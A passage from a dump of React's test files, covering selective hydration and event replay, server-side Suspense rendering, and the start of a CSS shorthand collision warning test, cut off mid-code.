unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    await act(() => {\n      // Click D\n      dispatchMouseHoverEvent(spanD, null);\n      dispatchClickEvent(spanD);\n\n      // Hover over B and then C.\n      dispatchMouseHoverEvent(spanB, spanD);\n      dispatchMouseHoverEvent(spanC, spanB);\n\n      assertLog(['App']);\n\n      suspend = false;\n      resolve();\n    });\n\n    // We should prioritize hydrating D first because we clicked it.\n    // but event isnt replayed\n    assertLog([\n      'D',\n      'B', // Ideally this should be later.\n      'C',\n      'Hover C',\n      'A',\n    ]);\n\n    document.body.removeChild(container);\n  });\n\n  it('replays capture phase for continuous events and respects stopPropagation', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Child({text}) {\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n      return (\n        <span\n          id={text}\n          onClickCapture={e => {\n            e.preventDefault();\n            Scheduler.log('Capture Clicked ' + text);\n          }}\n          onClick={e => {\n            e.preventDefault();\n            Scheduler.log('Clicked ' + text);\n          }}\n          onMouseEnter={e => {\n            e.preventDefault();\n            Scheduler.log('Mouse Enter ' + text);\n          }}\n          onMouseOut={e => {\n            e.preventDefault();\n            Scheduler.log('Mouse Out ' + text);\n          }}\n          onMouseOutCapture={e => {\n            e.preventDefault();\n            e.stopPropagation();\n            Scheduler.log('Mouse Out Capture ' + text);\n          }}\n          onMouseOverCapture={e => {\n            e.preventDefault();\n            e.stopPropagation();\n            Scheduler.log('Mouse Over Capture ' + text);\n          }}\n          onMouseOver={e => {\n            e.preventDefault();\n            Scheduler.log('Mouse Over ' + text);\n          }}>\n          <div\n            onMouseOverCapture={e => {\n              e.preventDefault();\n              Scheduler.log('Mouse Over Capture Inner ' + text);\n            }}>\n            {text}\n          </div>\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div\n          onClickCapture={e => {\n            e.preventDefault();\n            Scheduler.log('Capture Clicked Parent');\n          }}\n          onMouseOverCapture={e => {\n            Scheduler.log('Mouse Over Capture Parent');\n          }}>\n          <Activity>\n            <Child text=\"A\" />\n          </Activity>\n          <Activity>\n            <Child text=\"B\" />\n          </Activity>\n          <Activity>\n            <Child text=\"C\" />\n          </Activity>\n          <Activity>\n            <Child text=\"D\" />\n          </Activity>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanB = document.getElementById('B').firstChild;\n    const spanC = document.getElementById('C').firstChild;\n    const spanD = document.getElementById('D').firstChild;\n\n    suspend = true;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    await act(async () => {\n      // Click D\n      dispatchMouseHoverEvent(spanD, null);\n      dispatchClickEvent(spanD);\n      // Hover over B and then C.\n      dispatchMouseHoverEvent(spanB, spanD);\n      dispatchMouseHoverEvent(spanC, spanB);\n\n      assertLog(['App']);\n\n      suspend = false;\n      resolve();\n    });\n\n    // We should prioritize hydrating D first because we clicked it.\n    // but event isnt replayed\n    assertLog([\n      'D',\n      'B', // Ideally this should be later.\n      'C',\n      // Mouse out events aren't replayed\n      // 'Mouse Out Capture B',\n      // 'Mouse Out B',\n      'Mouse Over Capture Parent',\n      'Mouse Over Capture C',\n      // Stop propagation stops these\n      // 'Mouse Over Capture Inner C',\n      // 'Mouse Over C',\n      'A',\n    ]);\n\n    // This test shows existing quirk where stopPropagation on mouseout\n    // prevents mouseEnter from firing\n    dispatchMouseHoverEvent(spanC, spanB);\n    assertLog([\n      'Mouse Out Capture B',\n      // stopPropagation stops these\n      // 'Mouse Out B',\n      // 'Mouse Enter C',\n      'Mouse Over Capture Parent',\n      'Mouse Over Capture C',\n      // Stop propagation stops these\n      // 'Mouse Over Capture Inner C',\n      // 'Mouse Over C',\n    ]);\n\n    document.body.removeChild(container);\n  });\n\n  it('replays event with null target when tree is dismounted', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      }\n      Scheduler.log('Child');\n      return (\n        <div\n          onMouseOver={() => {\n            Scheduler.log('on mouse over');\n          }}>\n          Child\n        </div>\n      );\n    }\n\n    function App() {\n      return (\n        <Activity>\n          <Child />\n        </Activity>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    assertLog(['Child']);\n\n    const container = document.createElement('div');\n\n    document.body.appendChild(container);\n    container.innerHTML = finalHTML;\n    suspend = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    const childDiv = container.firstElementChild;\n\n    await act(async () => {\n      dispatchMouseHoverEvent(childDiv);\n\n      // Not hydrated so event is saved for replay and stopPropagation is called\n      assertLog([]);\n\n      resolve();\n      await waitFor(['Child']);\n\n      ReactDOM.flushSync(() => {\n        container.removeChild(childDiv);\n\n        const container2 = document.createElement('div');\n        container2.addEventListener('mouseover', () => {\n          Scheduler.log('container2 mouse over');\n        });\n        container2.appendChild(childDiv);\n      });\n    });\n\n    // Even though the tree is remove the event is still dispatched with native event handler\n    // on the container firing.\n    assertLog(['container2 mouse over']);\n\n    document.body.removeChild(container);\n  });\n\n  it('hydrates the last target path first for continuous events', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Child({text}) {\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n      return (\n        <span\n          onMouseEnter={e => {\n            e.preventDefault();\n            Scheduler.log('Hover ' + text);\n          }}>\n          {text}\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Activity>\n            <Child text=\"A\" />\n          </Activity>\n          <Activity>\n            <div>\n              <Activity>\n                <Child text=\"B\" />\n              </Activity>\n            </div>\n            <Child text=\"C\" />\n          </Activity>\n          <Activity>\n            <Child text=\"D\" />\n          </Activity>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanB = container.getElementsByTagName('span')[1];\n    const spanC = container.getElementsByTagName('span')[2];\n    const spanD = container.getElementsByTagName('span')[3];\n\n    suspend = true;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // Hover over B and then C.\n    dispatchMouseHoverEvent(spanB, spanD);\n    dispatchMouseHoverEvent(spanC, spanB);\n\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    // We should prioritize hydrating D first because we clicked it.\n    // Next we should hydrate C since that's the current hover target.\n    // Next it doesn't matter if we hydrate A or B first but as an\n    // implementation detail we're currently hydrating B first since\n    // we at one point hovered over it and we never deprioritized it.\n    assertLog(['App', 'C', 'Hover C', 'A', 'B', 'D']);\n\n    document.body.removeChild(container);\n  });\n\n  it('hydrates the last explicitly hydrated target at higher priority', async () => {\n    function Child({text}) {\n      Scheduler.log(text);\n      return <span>{text}</span>;\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Activity>\n            <Child text=\"A\" />\n          </Activity>\n          <Activity>\n            <Child text=\"B\" />\n          </Activity>\n          <Activity>\n            <Child text=\"C\" />\n          </Activity>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C']);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const spanB = container.getElementsByTagName('span')[1];\n    const spanC = container.getElementsByTagName('span')[2];\n\n    const root = ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // Increase priority of B and then C.\n    root.unstable_scheduleHydration(spanB);\n    root.unstable_scheduleHydration(spanC);\n\n    // We should prioritize hydrating C first because the last added\n    // gets highest priority followed by the next added.\n    await waitForAll(['App', 'C', 'B', 'A']);\n  });\n\n  // @gate www\n  it('hydrates before an update even if hydration moves away from it', async () => {\n    function Child({text}) {\n      Scheduler.log(text);\n      return <span>{text}</span>;\n    }\n    const ChildWithBoundary = React.memo(function ({text}) {\n      return (\n        <Activity>\n          <Child text={text} />\n          <Child text={text.toLowerCase()} />\n        </Activity>\n      );\n    });\n\n    function App({a}) {\n      Scheduler.log('App');\n      React.useEffect(() => {\n        Scheduler.log('Commit');\n      });\n      return (\n        <div>\n          <ChildWithBoundary text={a} />\n          <ChildWithBoundary text=\"B\" />\n          <ChildWithBoundary text=\"C\" />\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App a=\"A\" />);\n\n    assertLog(['App', 'A', 'a', 'B', 'b', 'C', 'c']);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const spanA = container.getElementsByTagName('span')[0];\n    const spanB = container.getElementsByTagName('span')[2];\n    const spanC = container.getElementsByTagName('span')[4];\n\n    await act(async () => {\n      const root = ReactDOMClient.hydrateRoot(container, <App a=\"A\" />);\n      // Hydrate the shell.\n      await waitFor(['App', 'Commit']);\n\n      // Render an update at Idle priority that needs to update A.\n\n      TODO_scheduleIdleDOMSchedulerTask(() => {\n        root.render(<App a=\"AA\" />);\n      });\n\n      // Start rendering. This will force the first boundary to hydrate\n      // by scheduling it at one higher pri than Idle.\n      await waitFor([\n        'App',\n\n        // Start hydrating A\n        'A',\n      ]);\n\n      // Hover over A which (could) schedule at one higher pri than Idle.\n      dispatchMouseHoverEvent(spanA, null);\n\n      // Before, we're done we now switch to hover over B.\n      // This is meant to test that this doesn't cause us to forget that\n      // we still have to hydrate A. The first boundary.\n      // This also tests that we don't do the -1 down-prioritization of\n      // continuous hover events because that would decrease its priority\n      // to Idle.\n      dispatchMouseHoverEvent(spanB, spanA);\n\n      // Also click C to prioritize that even higher which resets the\n      // priority levels.\n      dispatchClickEvent(spanC);\n\n      assertLog([\n        // Hydrate C first since we clicked it.\n        'C',\n        'c',\n      ]);\n\n      await waitForAll([\n        // Finish hydration of A since we forced it to hydrate.\n        'A',\n        'a',\n        // Also, hydrate B since we hovered over it.\n        // It's not important which one comes first. A or B.\n        // As long as they both happen before the Idle update.\n        'B',\n        'b',\n        // Begin the Idle update again.\n        'App',\n        'AA',\n        'aa',\n        'Commit',\n      ]);\n    });\n\n    const spanA2 = container.getElementsByTagName('span')[0];\n    // This is supposed to have been hydrated, not replaced.\n    expect(spanA).toBe(spanA2);\n\n    document.body.removeChild(container);\n  });\n\n  it('fires capture event handlers and native events if content is hydratable during discrete event', async () => {\n    spyOnDev(console, 'error');\n    function Child({text}) {\n      Scheduler.log(text);\n      const ref = React.useRef();\n      React.useLayoutEffect(() => {\n        if (!ref.current) {\n          return;\n        }\n        ref.current.onclick = () => {\n          Scheduler.log('Native Click ' + text);\n        };\n      }, [text]);\n      return (\n        <span\n          ref={ref}\n          onClickCapture={() => {\n            Scheduler.log('Capture Clicked ' + text);\n          }}\n          onClick={e => {\n            Scheduler.log('Clicked ' + text);\n          }}>\n          {text}\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Activity>\n            <Child text=\"A\" />\n          </Activity>\n          <Activity>\n            <Child text=\"B\" />\n          </Activity>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[1];\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // This should synchronously hydrate the root App and the second suspense\n    // boundary.\n    dispatchClickEvent(span);\n\n    // We rendered App, B and then invoked the event without rendering A.\n    assertLog(['App', 'B', 'Capture Clicked B', 'Native Click B', 'Clicked B']);\n\n    // After continuing the scheduler, we finally hydrate A.\n    await waitForAll(['A']);\n\n    document.body.removeChild(container);\n  });\n\n  it('does not propagate discrete event if it cannot be synchronously hydrated', async () => {\n    let triggeredParent = false;\n    let triggeredChild = false;\n    let suspend = false;\n    const promise = new Promise(() => {});\n    function Child() {\n      if (suspend) {\n        throw promise;\n      }\n      Scheduler.log('Child');\n      return (\n        <span\n          onClickCapture={e => {\n            e.stopPropagation();\n            triggeredChild = true;\n          }}>\n          Click me\n        </span>\n      );\n    }\n    function App() {\n      const onClick = () => {\n        triggeredParent = true;\n      };\n      Scheduler.log('App');\n      return (\n        <div\n          ref={n => {\n            if (n) n.onclick = onClick;\n          }}\n          onClick={onClick}>\n          <Activity>\n            <Child />\n          </Activity>\n        </div>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'Child']);\n\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    container.innerHTML = finalHTML;\n\n    suspend = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    const span = container.getElementsByTagName('span')[0];\n    dispatchClickEvent(span);\n\n    assertLog(['App']);\n\n    dispatchClickEvent(span);\n\n    expect(triggeredParent).toBe(false);\n    expect(triggeredChild).toBe(false);\n  });\n\n  it('can force hydration in response to sync update', async () => {\n    function Child({text}) {\n      Scheduler.log(`Child ${text}`);\n      return <span ref={ref => (spanRef = ref)}>{text}</span>;\n    }\n    function App({text}) {\n      Scheduler.log(`App ${text}`);\n      return (\n        <div>\n          <Activity>\n            <Child text={text} />\n          </Activity>\n        </div>\n      );\n    }\n\n    let spanRef;\n    const finalHTML = ReactDOMServer.renderToString(<App text=\"A\" />);\n    assertLog(['App A', 'Child A']);\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    container.innerHTML = finalHTML;\n    const initialSpan = container.getElementsByTagName('span')[0];\n    const root = ReactDOMClient.hydrateRoot(container, <App text=\"A\" />);\n    await waitForPaint(['App A']);\n\n    await act(() => {\n      ReactDOM.flushSync(() => {\n        root.render(<App text=\"B\" />);\n      });\n    });\n    assertLog(['App B', 'Child A', 'App B', 'Child B']);\n    expect(initialSpan).toBe(spanRef);\n  });\n\n  // @gate www\n  it('can force hydration in response to continuous update', async () => {\n    function Child({text}) {\n      Scheduler.log(`Child ${text}`);\n      return <span ref={ref => (spanRef = ref)}>{text}</span>;\n    }\n    function App({text}) {\n      Scheduler.log(`App ${text}`);\n      return (\n        <div>\n          <Activity>\n            <Child text={text} />\n          </Activity>\n        </div>\n      );\n    }\n\n    let spanRef;\n    const finalHTML = ReactDOMServer.renderToString(<App text=\"A\" />);\n    assertLog(['App A', 'Child A']);\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    container.innerHTML = finalHTML;\n    const initialSpan = container.getElementsByTagName('span')[0];\n    const root = ReactDOMClient.hydrateRoot(container, <App text=\"A\" />);\n    await waitForPaint(['App A']);\n\n    await act(() => {\n      TODO_scheduleContinuousSchedulerTask(() => {\n        root.render(<App text=\"B\" />);\n      });\n    });\n\n    assertLog(['App B', 'Child A', 'App B', 'Child B']);\n    expect(initialSpan).toBe(spanRef);\n  });\n\n  it('can force hydration in response to default update', async () => {\n    function Child({text}) {\n      Scheduler.log(`Child ${text}`);\n      return <span ref={ref => (spanRef = ref)}>{text}</span>;\n    }\n    function App({text}) {\n      Scheduler.log(`App ${text}`);\n      return (\n        <div>\n          <Activity>\n            <Child text={text} />\n          </Activity>\n        </div>\n      );\n    }\n\n    let spanRef;\n    const finalHTML = ReactDOMServer.renderToString(<App text=\"A\" />);\n    assertLog(['App A', 'Child A']);\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    container.innerHTML = finalHTML;\n    const initialSpan = container.getElementsByTagName('span')[0];\n    const root = ReactDOMClient.hydrateRoot(container, <App text=\"A\" />);\n    await waitForPaint(['App A']);\n    await act(() => {\n      root.render(<App text=\"B\" />);\n    });\n    assertLog(['App B', 'Child A', 'App B', 'Child B']);\n    expect(initialSpan).toBe(spanRef);\n  });\n\n  // @gate www\n  it('regression test: can unwind context on selective hydration interruption', async () => {\n    const Context = React.createContext('DefaultContext');\n\n    function ContextReader(props) {\n      const value = React.useContext(Context);\n      Scheduler.log(value);\n      return null;\n    }\n\n    function Child({text}) {\n      Scheduler.log(text);\n      return <span>{text}</span>;\n    }\n    const ChildWithBoundary = React.memo(function ({text}) {\n      return (\n        <Activity>\n          <Child text={text} />\n        </Activity>\n      );\n    });\n\n    function App({a}) {\n      Scheduler.log('App');\n      React.useEffect(() => {\n        Scheduler.log('Commit');\n      });\n      return (\n        <>\n          <Context.Provider value=\"SiblingContext\">\n            <ChildWithBoundary text={a} />\n          </Context.Provider>\n          <ContextReader />\n        </>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App a=\"A\" />);\n    assertLog(['App', 'A', 'DefaultContext']);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n    document.body.appendChild(container);\n\n    const spanA = container.getElementsByTagName('span')[0];\n\n    await act(async () => {\n      const root = ReactDOMClient.hydrateRoot(container, <App a=\"A\" />);\n      await waitFor(['App', 'DefaultContext', 'Commit']);\n\n      TODO_scheduleIdleDOMSchedulerTask(() => {\n        root.render(<App a=\"AA\" />);\n      });\n      await waitFor(['App', 'A']);\n\n      dispatchClickEvent(spanA);\n      assertLog(['A']);\n      await waitForAll(['App', 'AA', 'DefaultContext', 'Commit']);\n    });\n  });\n\n  it('regression test: can unwind context on selective hydration interruption for sync updates', async () => {\n    const Context = React.createContext('DefaultContext');\n\n    function ContextReader(props) {\n      const value = React.useContext(Context);\n      Scheduler.log(value);\n      return null;\n    }\n\n    function Child({text}) {\n      Scheduler.log(text);\n      return <span>{text}</span>;\n    }\n    const ChildWithBoundary = React.memo(function ({text}) {\n      return (\n        <Activity>\n          <Child text={text} />\n        </Activity>\n      );\n    });\n\n    function App({a}) {\n      Scheduler.log('App');\n      React.useEffect(() => {\n        Scheduler.log('Commit');\n      });\n      return (\n        <>\n          <Context.Provider value=\"SiblingContext\">\n            <ChildWithBoundary text={a} />\n          </Context.Provider>\n          <ContextReader />\n        </>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App a=\"A\" />);\n    assertLog(['App', 'A', 'DefaultContext']);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    await act(async () => {\n      const root = ReactDOMClient.hydrateRoot(container, <App a=\"A\" />);\n      await waitFor(['App', 'DefaultContext', 'Commit']);\n\n      ReactDOM.flushSync(() => {\n        root.render(<App a=\"AA\" />);\n      });\n      assertLog(['App', 'A', 'App', 'AA', 'DefaultContext', 'Commit']);\n    });\n  });\n\n  it('regression: selective hydration does not contribute to \"maximum update limit\" count', async () => {\n    const outsideRef = React.createRef(null);\n    const insideRef = React.createRef(null);\n    function Child() {\n      return (\n        <Activity>\n          <div ref={insideRef} />\n        </Activity>\n      );\n    }\n\n    let setIsMounted = false;\n    function App() {\n      const [isMounted, setState] = React.useState(false);\n      setIsMounted = setState;\n\n      const children = [];\n      for (let i = 0; i < 100; i++) {\n        children.push(<Child key={i} isMounted={isMounted} />);\n      }\n\n      return <div ref={outsideRef}>{children}</div>;\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n\n      // Commit just the shell\n      await waitForPaint([]);\n\n      // Assert that the shell has hydrated, but not the children\n      expect(outsideRef.current).not.toBe(null);\n      expect(insideRef.current).toBe(null);\n\n      // Update the shell synchronously. The update will flow into the children,\n      // which haven't hydrated yet. This will trigger a cascade of commits\n      // caused by selective hydration. However, since there's really only one\n      // update, it should not be treated as an update loop.\n      // NOTE: It's unfortunate that every sibling boundary is separately\n      // committed in this case. We should be able to commit everything in a\n      // render phase, which we could do if we had resumable context stacks.\n      ReactDOM.flushSync(() => {\n        setIsMounted(true);\n      });\n    });\n\n    // Should have successfully hydrated with no errors.\n    expect(insideRef.current).not.toBe(null);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerSuspense-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet act;\nlet SuspenseList;\n\ndescribe('ReactDOMServerSuspense', () => {\n  beforeEach(() => {\n    // Reset warning cache.\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n    if (gate(flags => flags.enableSuspenseList)) {\n      SuspenseList = React.unstable_SuspenseList;\n    }\n  });\n\n  function Text(props) {\n    return <div>{props.text}</div>;\n  }\n\n  function AsyncText(props) {\n    throw new Promise(() => {});\n  }\n\n  function getVisibleChildren(element) {\n    const children = [];\n    let node = element.firstChild;\n    while (node) {\n      if (node.nodeType === 1) {\n        if (\n          node.tagName !== 'SCRIPT' &&\n          node.tagName !== 'TEMPLATE' &&\n          node.tagName !== 'template' &&\n          !node.hasAttribute('hidden') &&\n          !node.hasAttribute('aria-hidden')\n        ) {\n          const props = {};\n          const attributes = node.attributes;\n          for (let i = 0; i < attributes.length; i++) {\n            if (\n              attributes[i].name === 'id' &&\n              attributes[i].value.includes(':')\n            ) {\n              // We assume this is a React added ID that's a non-visual implementation detail.\n              continue;\n            }\n            props[attributes[i].name] = attributes[i].value;\n          }\n          props.children = getVisibleChildren(node);\n          children.push(React.createElement(node.tagName.toLowerCase(), props));\n        }\n      } else if (node.nodeType === 3) {\n        children.push(node.data);\n      }\n      node = node.nextSibling;\n    }\n    return children.length === 0\n      ? undefined\n      : children.length === 1\n        ? children[0]\n        : children;\n  }\n\n  it('should render the children when no promise is thrown', async () => {\n    const container = document.createElement('div');\n    const html = ReactDOMServer.renderToString(\n      <React.Suspense fallback={<Text text=\"Fallback\" />}>\n        <Text text=\"Children\" />\n      </React.Suspense>,\n    );\n    container.innerHTML = html;\n    expect(getVisibleChildren(container)).toEqual(<div>Children</div>);\n  });\n\n  it('should render the fallback when a promise thrown', async () => {\n    const container = document.createElement('div');\n    const html = ReactDOMServer.renderToString(\n      <React.Suspense fallback={<Text text=\"Fallback\" />}>\n        <AsyncText text=\"Children\" />\n      </React.Suspense>,\n    );\n    container.innerHTML = html;\n    expect(getVisibleChildren(container)).toEqual(<div>Fallback</div>);\n  });\n\n  it('should work with nested suspense components', async () => {\n    const container = document.createElement('div');\n    const html = ReactDOMServer.renderToString(\n      <React.Suspense fallback={<Text text=\"Fallback\" />}>\n        <div>\n          <Text text=\"Children\" />\n          <React.Suspense fallback={<Text text=\"Fallback\" />}>\n            <AsyncText text=\"Children\" />\n          </React.Suspense>\n        </div>\n      </React.Suspense>,\n    );\n    container.innerHTML = html;\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>Children</div>\n        <div>Fallback</div>\n      </div>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('server renders a SuspenseList component and its children', async () => {\n    const example = (\n      <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n        <React.Suspense fallback=\"Loading A\">\n          <div>A</div>\n        </React.Suspense>\n        <React.Suspense fallback=\"Loading B\">\n          <div>B</div>\n        </React.Suspense>\n      </SuspenseList>\n    );\n    const container = document.createElement('div');\n    const html = ReactDOMServer.renderToString(example);\n    container.innerHTML = html;\n\n    const divA = container.children[0];\n    expect(divA.tagName).toBe('DIV');\n    expect(divA.textContent).toBe('A');\n    const divB = container.children[1];\n    expect(divB.tagName).toBe('DIV');\n    expect(divB.textContent).toBe('B');\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, example);\n    });\n\n    const divA2 = container.children[0];\n    const divB2 = container.children[1];\n    expect(divA).toBe(divA2);\n    expect(divB).toBe(divB2);\n  });\n\n  it('throws when rendering a suspending component outside a Suspense node', async () => {\n    expect(() => {\n      ReactDOMServer.renderToString(\n        <div>\n          <React.Suspense />\n          <AsyncText text=\"Children\" />\n          <React.Suspense />\n        </div>,\n      );\n    }).toThrow('A component suspended while responding to synchronous input.');\n  });\n\n  it('does not get confused by throwing null', () => {\n    function Bad() {\n      // eslint-disable-next-line no-throw-literal\n      throw null;\n    }\n\n    let didError;\n    let error;\n    try {\n      ReactDOMServer.renderToString(<Bad />);\n    } catch (err) {\n      didError = true;\n      error = err;\n    }\n    expect(didError).toBe(true);\n    expect(error).toBe(null);\n  });\n\n  it('does not get confused by throwing undefined', () => {\n    function Bad() {\n      // eslint-disable-next-line no-throw-literal\n      throw undefined;\n    }\n\n    let didError;\n    let error;\n    try {\n      ReactDOMServer.renderToString(<Bad />);\n    } catch (err) {\n      didError = true;\n      error = err;\n    }\n    expect(didError).toBe(true);\n    expect(error).toBe(undefined);\n  });\n\n  it('does not get confused by throwing a primitive', () => {\n    function Bad() {\n      // eslint-disable-next-line no-throw-literal\n      throw 'foo';\n    }\n\n    let didError;\n    let error;\n    try {\n      ReactDOMServer.renderToString(<Bad />);\n    } catch (err) {\n      didError = true;\n      error = err;\n    }\n    expect(didError).toBe(true);\n    expect(error).toBe('foo');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMShorthandCSSPropertyCollision-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactDOMShorthandCSSPropertyCollision', () => {\n  let act;\n\n  let React;\n  let ReactDOMClient;\n  let assertConsoleErrorDev;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    act = require('internal-test-utils').act;\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n  });\n\n  it('should warn for conflicting CSS shorthand updates', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<div style={{font: 'foo', fontStyle: 'bar'}} />);\n    });\n    await act(() => {\n      root.render(<div style={{font: 'foo'}} />);\n    });\n    assertConsoleErrorDev([\n      'Removing a style property during rerender (fontStyle) ' +\n        'when a conflicting property is set (font) can lead to styling ' +\n        \"bugs. To avoid this, don't mix shorthand and non-shorthand \" +\n        'properties for the same value; instead, replace the shorthand ' +\n        'with separate values.' +\n        '\\n    in div (at **)',\n    ]);\n\n    // These updates are OK and don't warn:\n    await act(() => {\n      root.render(<div style={{font: 'qux', fontStyle: 'bar'}} />);\n    });\n    await act(() => {\n      root.render(<div style={{font: 'foo', fontStyle: 'baz'}} />);\n    });\n\n    await act(() => {\n      root.render(<div style={{font: 'qux', fontStyle: 'baz'}} />);\n    });\n    assertConsoleErrorDev([\n      'Updating a style property during rerender (font) when ' +\n        'a conflicting property is set (fontStyle) can lead to styling ' +\n        \"bugs. To avoid this, don't mix shorthand and non-shorthand \" +\n        'properties for the same value; instead, replace the shorthand ' +\n        'with separate values.' +\n        '\\n    in div (at **)',\n    ]);\n    await act(() => {\n      root.render(<div style={{fontStyle: 'baz'}} />);\n    });\n    assertConsoleErrorDev([\n      'Removing a style property during rerender (font) when ' +\n        'a conflicting property is set (fontStyle) can lead to styling ' +\n        \"bugs. To avoid this, don't mix shorthand and non-shorthand \" +\n        'properties for the same value; instead, replace the shorthand ' +\n        'with separate values.' +\n        '\\n    in div (at **)',\n    ]);\n\n    // A bit of a special case: backgroundPosition isn't technically longhand\n    // (it expands to backgroundPosition{X,Y} but so does background)\n    await act(() => {\n      root.render(\n        <div style={{background: 'yellow', backgroundPosition: 'center'}} />,\n      );\n    });\n    await act(() => {\n      root.render(<div style={{background: 'yellow'}} />);\n    });\n    assertConsoleErrorDev([\n      'Removing a style property during rerender ' +\n        '(backgroundPosition) when a conflicting property is set ' +\n        \"(background) can lead to styling bugs. To avoid this, don't mix \" +\n        'shorthand and non-shorthand properties for the same value; ' +\n        'instead, replace the shorthand with separate values.' +\n        '\\n    in div (at **)',\n    ]);\n    await act(() => {\n      root.render(\n        <div style={{background: 'yellow', backgroundPosition: 'center'}} />,\n      );\n    });\n    // But setting them  at the same time is OK:\n    await act(() => {\n      root.render(\n        <div style={{background: 'green', backgroundPosition: 'top'}} />,\n      );\n    });\n    await act(() => {\n      root.render(<div style={{backgroundPosition: 'top'}} />);\n    });\n    assertConsoleErrorDev([\n      'Removing a style property during rerender (background) ' +\n        'when a conflicting property is set (backgroundPosition) can lead ' +\n        \"to styling bugs. To avoid this, don't mix shorthand and \" +\n        'non-shorthand properties for the same value; instead, replace the ' +\n        'shorthand with separate values.' +\n        '\\n    in div (at **)',\n    ]);\n\n    // A bit of an even more special case: borderLeft and borderStyle overlap.\n    await act(() => {\n      root.render(\n        <div 